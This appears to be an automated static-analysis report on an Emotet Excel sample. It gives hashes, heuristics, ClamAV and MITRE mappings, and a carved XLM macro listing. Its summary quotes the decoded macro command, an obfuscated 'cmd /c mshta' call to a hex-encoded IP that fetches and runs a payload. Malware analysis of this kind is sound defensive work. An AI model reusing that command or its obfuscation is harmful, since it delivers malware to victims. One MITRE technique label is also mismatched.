Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 0197b86606a73859…

MALICIOUS

Office (OLE) / .XLSX

128.1 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: c92c9ee1dcff8897420b0b7a2d58f131 SHA-1: 1279b2fbf0187453dd10652ad56969269f2841b2 SHA-256: 0197b86606a73859f06d8b22bf6a0f212ec0d6ddc845872e5db31979a5ad305d
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Service Execution T1204.002 Malicious File Execution: Malicious File

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies the file as Emotet. The extracted macro script explicitly defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l', which is designed to download and execute a payload from the specified URL. This behavior is consistent with Emotet's typical delivery methods.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes

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